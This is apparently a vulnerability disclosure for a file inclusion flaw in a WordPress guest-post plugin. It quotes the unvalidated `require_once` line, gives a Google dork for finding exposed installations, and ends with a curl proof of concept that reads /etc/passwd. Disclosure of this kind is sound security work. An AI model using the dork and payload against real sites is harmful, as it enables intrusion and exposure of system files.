• # Exploit Title: WordPress Really Simple Guest Post File Include
  # Google Dork: inurl:"really-simple-guest-post" intitle:"index of"

  # Tested on: Linux
  
  The vulnerable file is called:
  simple-guest-post-submit.php and its full path is
  /wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
  The vulnerable code is as follows:
  (line 8)
  require_once($_POST["rootpath"]);
  As you can see, the require_once function includes a data based on
  user-input without any prior verification.
  So, an attacker can exploit this flaw and come directly into the url
  /wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
  and send a post data like: "rootpath=the_file_to_include"
  
  Proof of concept:
  curl -X POST -F "rootpath=/etc/passwd" --url
  http://localhost/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
  which will print out the content of /etc/passwd file.
